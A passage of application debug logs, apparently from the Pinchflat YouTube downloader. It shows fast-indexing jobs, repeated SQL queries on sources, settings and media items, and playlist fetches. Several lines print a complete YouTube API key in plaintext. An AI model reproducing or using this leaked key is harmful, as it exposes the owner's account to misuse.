"zjr91LZaAd0", "_JAhkZSZetY", "kGYd2Xjgv9o", "LpD2tUYfMQU", "QqVU5_EmuUU", "R3q9eWJ2Hd4", "msiu27F4vSg", "zCW_1dXRg2k", "XX4JRtVJ-Ls", "6sAhwJIXrKE", "j_hY0oeqbXI", "_c_m409RRBM", "UYKYIQhaj-0", "PKOrJjLnXbU", "D19jxGokuPQ", "aZeoYJBxzGo", "zso06uG6Vtc", "FSOvHJ-3quc", "BlWiOY_haEA", "-5f9L7UZ730", "KknaULuIjds", "5LuAW5CNjzw", "E7PkAVDcS2A", "RDllmPLV-T0", "4pHkSfgy9o4", "ZciRYLMZ5IA", "DTAMCqI104A", ...] 15:47:04.704 [debug] QUERY OK source="media_items" db=1.0ms idle=231.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 15:47:04.705 [debug] QUERY OK source="tasks" db=0.1ms idle=232.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799822, 32, ~U[2026-02-10 21:47:04Z], ~U[2026-02-10 21:47:04Z]] 15:47:04.705 [info] {"args":{"id":32},"id":3799782,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":233787,"event":"job:stop","queue_time":526174,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:05.473 [info] {"args":{"id":4},"id":3799783,"meta":{},"system_time":1770760025473698278,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:05.473 [info] {"args":{"id":24},"id":3799784,"meta":{},"system_time":1770760025473760622,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:05.474 [debug] QUERY OK source="sources" db=0.1ms idle=768.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 15:47:05.474 [debug] QUERY OK source="sources" db=0.1ms idle=768.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [24] 15:47:05.474 [debug] QUERY OK source="settings" db=0.1ms idle=762.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:05.474 [debug] QUERY OK source="settings" db=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:05.474 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:47:05.474 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:47:05.474 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:05.474 [debug] Fetching recent media IDs from YouTube API for playlist: UUDiKw3GnFIwyNJBzhCoRI-Q 15:47:05.474 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:05.474 [debug] Fetching recent media IDs from YouTube API for playlist: UUgzg_f5HC6EnY-9q5Px1Q-g 15:47:05.474 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:05.475 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:47:05.475 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:05.475 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:47:05.574 [debug] QUERY OK source="media_items" db=0.5ms idle=98.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [4, "ZOz1fA9W3Ms", "QtVIR_-hMq8", "sPysKEfXzWM", "TEPKKZtclTA", "33Ur3hu8a6c", "6kGBOMlXkkA", "op_mXNwUcwY", "2chMcaJPJW0", "3rVVYrja1Vw", "gCPfw2SilN4", "VNtW1fQ6EuU", "pXtgLb_sshk", "hAUXFfoCTyI", "Zcpd7Vyf4IU", "dRdYKu4I_ug", "cuKH5srkMho", "BIginPllRjc", "0RzUBqtgODM", "OZRG7Og61mw", "Ejl-7X74tgc", "os_fHy1mB_M", "qtDhWmsunBo", "7aQZzcEWKRk", "zI6ZQls54Ms", "6X0g5M-khKU", "-8k7jTF_JCg", "T8wDRU6u8h0", "QwpTAk_IiyU", "6yyMjLmVl_o", "mXRd0KTKmPU", "VlT2fM2wfkw", "JJRdUelpO7M", "6UPn6rtZ19M", "gZs97pRqpRw", "GYJt4ESv85U", "U0uC9ybxEAM", "-SKG5OkBCjI", "nYtdWS-0OOE", "NRt8cfts_T8", "7ELwpQnk_5A", "89l-XhVKLcY", "zNlqUHQF0_A", "vHR2Ri5gLMA", "rD0BXs8IOSU", "7td4By-rj_w", "Gm_JZRdtQ2Q", "GbOzaYU694U", "dUGtGZO_54M", "9X3f-VGBOfM", ...] 15:47:05.575 [debug] QUERY OK source="media_items" db=0.3ms idle=100.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 15:47:05.575 [debug] QUERY OK source="tasks" db=0.1ms idle=100.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799823, 4, ~U[2026-02-10 21:47:05Z], ~U[2026-02-10 21:47:05Z]] 15:47:05.576 [info] {"args":{"id":4},"id":3799783,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":102294,"event":"job:stop","queue_time":517472,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:05.676 [debug] QUERY OK source="media_items" db=0.5ms idle=100.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [24, "EqcdcLKC5bE", "XWN9YMVaTio", "0ff4TbRMPcE", "lr65O1qIhT4", "lQPuHoc-93U", "8jv8nOKR_Ck", "8lzNViKW9F8", "r2GTUZ2zQSE", "Ki7sgG5i5P0", "dI43FJGa52A", "Tb0Z5jKFrKA", "A1QzVQn8hH8", "lWvIsb06YYg", "rLmO075A07c", "uPvdvnz9rLc", "IBk-Nh0VRy0", "IclNtwcicpc", "emMmkd-o2-o", "o3CQZ4JmTU8", "p6Q9chqIwyg", "0voL1hfm3e4", "HCQGhsHO1nM", "6xs7fjbo2NM", "yCdY2eeT8fQ", "faSZB8yewoU", "otxMmPttGp4", "7pysYXsQ8Ps", "QJtdNwlYFDM", "iBclMIJgm7k", "UI4lFdFfOFI", "apGupfbctgs", "qhRfchtbX-0", "73Vhinj4iEI", "M6o0F4zC8Ps", "NrQ0BAnY8sk", "y7WdMKmMR5Y", "J0z4YoAcmKI", "6eSG5JLP0-g", "AvswAhGn_PU", "4FFIce1pjH0", "yOM58cUfPhs", "gTT34dgyJfA", "hZJe5fqUbQA", "RNGpdA2TR1M", "PmIe2ZOPcA0", "zImBY_tGMIU", "1VUhrRFTY_0", "QJDpwY5MGjs", "xYFjwbtJs7U", ...] 15:47:05.677 [debug] QUERY OK source="media_items" db=0.2ms idle=101.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [24] 15:47:05.678 [debug] QUERY OK source="tasks" db=0.1ms idle=95.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799824, 24, ~U[2026-02-10 21:47:05Z], ~U[2026-02-10 21:47:05Z]] 15:47:05.678 [info] {"args":{"id":24},"id":3799784,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":204568,"event":"job:stop","queue_time":410774,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:06.475 [info] {"args":{"id":26},"id":3799785,"meta":{},"system_time":1770760026475673218,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:06.475 [debug] QUERY OK source="sources" db=0.1ms idle=797.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [26] 15:47:06.476 [debug] QUERY OK source="settings" db=0.1ms idle=797.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:06.476 [debug] QUERY OK source="media_profiles" db=0.1ms idle=791.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:47:06.476 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:06.476 [debug] Fetching recent media IDs from YouTube API for playlist: UUK_8UoKJNYcQE9OdW5v-Ueg 15:47:06.476 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:06.476 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:47:06.558 [debug] QUERY OK source="media_items" db=0.6ms idle=81.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [26, "VdWHQYgG_jo", "6LzK3lEKkGE", "JJ_mw6lB3JU", "ZcmJFcMBm9w", "dlFQrYB5wKw", "nPbCi4t4NkA", "8asBU46CygQ", "yQArIsKTw5U", "1x2IhzNuxm4", "nxjWJIgvoOQ", "nlgL1IJXtoU", "lxxWezu1R48", "cQAPX3Qmbbw", "Qx4mqyQgZRE", "A8UXgQagHGE", "-XokzL0OQu0", "1hNouH7bBf4", "qZKBr-uzWXE", "tCG0_ctAGuw", "dJpTLJa07R0", "06xaEhog2jc", "xCly46rmt_E", "fgvCSP_Uieo", "Y-Glc4AfUu8", "WhrVgN8MHvE", "wdeJMY-yjxY", "ewCRfp9isyQ", "TC69Hts9xUw", "QD10PkEFM8w", "EDTL7eqicgk", "TN9ynzCtxH0", "PIm8vxiuo80", "d5wK7sqUPME", "g52_h5ba7AI", "eCXvteo9yPM", "LffHwB95-nc", "d5EbHE-E_30", "ISfcCtkM9Eg", "waruccu-7dk", "rp5VlotPNVY", "rfDYEpo49MM", "u7g9F323AaU", "oLw4zWP1x5g", "WWUoR1s8tqY", "1yRMUHRkPmg", "8o1haKR8l3U", "10e4_tNBP6M", "vnnhy_10FBA", "GQrTQ862rvU", ...] 15:47:06.559 [debug] QUERY OK source="media_items" db=0.4ms idle=82.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [26] 15:47:06.560 [debug] QUERY OK source="tasks" db=0.1ms idle=83.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799825, 26, ~U[2026-02-10 21:47:06Z], ~U[2026-02-10 21:47:06Z]] 15:47:06.560 [info] {"args":{"id":26},"id":3799785,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":84501,"event":"job:stop","queue_time":506809,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:07.477 [info] {"args":{"id":39},"id":3799786,"meta":{},"system_time":1770760027477683831,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:07.477 [info] {"args":{"id":18},"id":3799787,"meta":{},"system_time":1770760027477747989,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:47:07.478 [debug] QUERY OK source="sources" db=0.2ms idle=917.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [39] 15:47:07.478 [debug] QUERY OK source="sources" db=0.1ms idle=917.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [18] 15:47:07.478 [debug] QUERY OK source="settings" db=0.1ms idle=911.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:07.478 [debug] QUERY OK source="settings" db=0.1ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:07.478 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:47:07.478 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:47:07.478 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:47:07.478 [debug] Fetching recent media IDs from YouTube API for playlist: 